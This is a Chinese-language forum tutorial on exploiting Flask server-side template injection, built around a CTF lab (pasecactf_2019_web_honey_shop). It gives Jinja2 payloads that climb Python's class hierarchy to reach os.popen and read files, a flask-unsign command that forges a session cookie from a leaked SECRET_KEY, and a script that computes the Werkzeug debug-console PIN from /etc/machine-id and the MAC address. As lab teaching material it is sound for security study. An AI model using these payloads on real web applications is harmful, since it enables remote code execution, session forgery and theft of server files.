taibeihacker
Moderator
Flask SSTI 利用方式探索
python 语言基础
在python 中,object 類是Python 中所有類的基類,如果定義一個類時沒有指定繼承哪個類,則默認繼承object 類。 每個類都有的魔術變量__class__,表示當前類。1
print(''.__class__)

每個類都有一個__base__ 屬性,列出其基類:

列出所有基類:__bases__
列舉類的調用順序:__mro__

獲取子類集合:''.__class__.__mro__[1].__subclasses__()
接下來尋找可以執行命令的子類:os._wrap_close(133)
查找可使用的變量和方法:''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__
執行系統命令:''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['popen']('ls').read()
讀取文件內容:''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['__builtins__']['open']('flag.txt').read()
SSTI 简介 环境搭建
模板
一個統一風格的站點,其大多數頁面樣式都是一致的,只是每個頁面顯示的內容各不相同。要是所有的邏輯都放在前端進行,無疑會影響響應效果和效率,很不現實。把所有的邏輯放在後端,又會導致太過複雜,前輕後重模板的誕生是為了將顯示與數據分離,讓前端工作人員專注表現設計,後台人員注重業務邏輯,同時簡化代碼的複雜程度。模板技術多種多樣,但其本質是將模板文件和數據通過模板引擎生成最終的HTML代碼。
Flask 使用Jinja2 作為模板引擎,Jinja 的語法很簡單,大致有這麼幾種:
1
2
3
4
{%.%} 語句(Statements)
{{.}} 打印模板輸出的表達式(Expressions)
{{#.#}} 註釋
#.## 行註釋(Line Statements)
SSTI
在SSTI 漏洞點中,{{x}} 裡面的內容會被執行。SSTI,又稱服務端模板注入攻擊。 jinja2 模板中使用{} 語法表示一個變量,它是一種特殊的佔位符。當利用jinja2 進行渲染的時候,它會把這些特殊的佔位符進行填充/替換。但是在進行目標編譯渲染的過程中,執行了用戶插入的惡意內容,因而可能導致了敏感信息洩露、代碼執行、 GetShell 等問題
环境搭建
測試環境搭建:Ubuntu + Docker環境:
GitHub - Tiaonmmn/pasecactf_2019_web_honey_shop
Contribute to Tiaonmmn/pasecactf_2019_web_honey_shop development by creating an account on GitHub.
敏感信息泄露导致身份伪造
flask session 机制

通過.隔開的3 段內容,第一段其實就是base64encode 後的內容,但去掉了填充用的等號,若decode 失敗,自己需要補上1-3 個等號補全。中間內容為時間戳,在flask 中時間戳若超過31 天則視為無效。最後一段則是安全簽名,將session data,時間戳和flask 的secretkey 通過sha1 運算的結果。


方法一
該應用在/hello 下存在SSTI 漏洞:
config 下泄露了SECRET_KEY:

使用flask-unsign 工具(使用pip 安裝)偽造Cookie:
1
flask-unsign --sign --cookie '{'balance': 6666}' --secret '7xrQRfVWmTHMRzwGXLhCQrECTqLndq1ODnvvDjKZ'


方法二
http://127.0.0.1:8345/download?image=1.jpg 存在任意文件下載漏洞,下載環境變量文件:
Flask PIN 码利用
Flask PIN 码
Flask Debug 應用在模式下提供的一種頁面端的交互調試工具,和我們平時使用的Python 命令行是一樣的,也就是給我們提供了一個交互式的web 端shell。但是PIN 碼的生成規則是有規律可循的,使得獲取PIN 碼成為可能,之後能夠利用的方式有很多。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from itertools import chain
probably_public_bits=[
'root',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.8/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits=[
'345051575547'# str(uuid.getnode()), /sys/class/net/eth0/address
'613cacd3857f425e9409e544dece08da', # get_machine_id(), /etc/machine-id
]
h=hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit=bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name='__wzd' + h.hexdigest()[:20]
num=None
if num is None:
h.update(b'pinsalt')
num=('%09d' % int(h.hexdigest(), 16))[:9]
rv=None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size==0:
rv='-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv=num
print(rv)
脚本中 6 个参数的获取方法:
username
運行flask 的用戶,之前讀取/etc/passwd 獲取modname
一般默認即可app name
一般默認即可路径
debug 下報錯网络地址
讀取:/sys/class/net/eth0/address1
int('02:42:ac:13:00:02'.replace(':', ''), 16)

机器码
讀取:/etc/machine-id 或者/proc/self/cgroup
执行脚本



SSTI 导致 RCE
代码执行
12
3
{%for i in range(10)%}
{%print(i)%}
{%endfor%}

python 魔法函数 + 内置函数
魔法函数
所謂魔法函數(Magic Methods),是Python 的一種高級語法,允許你在類中自定義函數(函數名格式一般為__x__),並綁定到類的特殊方法中。比如在類A 中自定義__str__ 函數,則在調用str(A) 時,會自動調用__str__ 函數,並返回相應的結果。在我們平時的使用中,可能經常使用__init__ 函數和__del__ 函數,其實這也是魔法函數的一種。内置函数
在python 中輸入help(__builtins__),可以查看幫助,簡單地說就是Python 中自帶的函數1
http://127.0.0.1:8345/hello?name=\{\{%22%22.__class__.__base__.__subclasses__()[302].__init__.__globals__[%27os%27].popen(%22whoami%22).read()\}\}
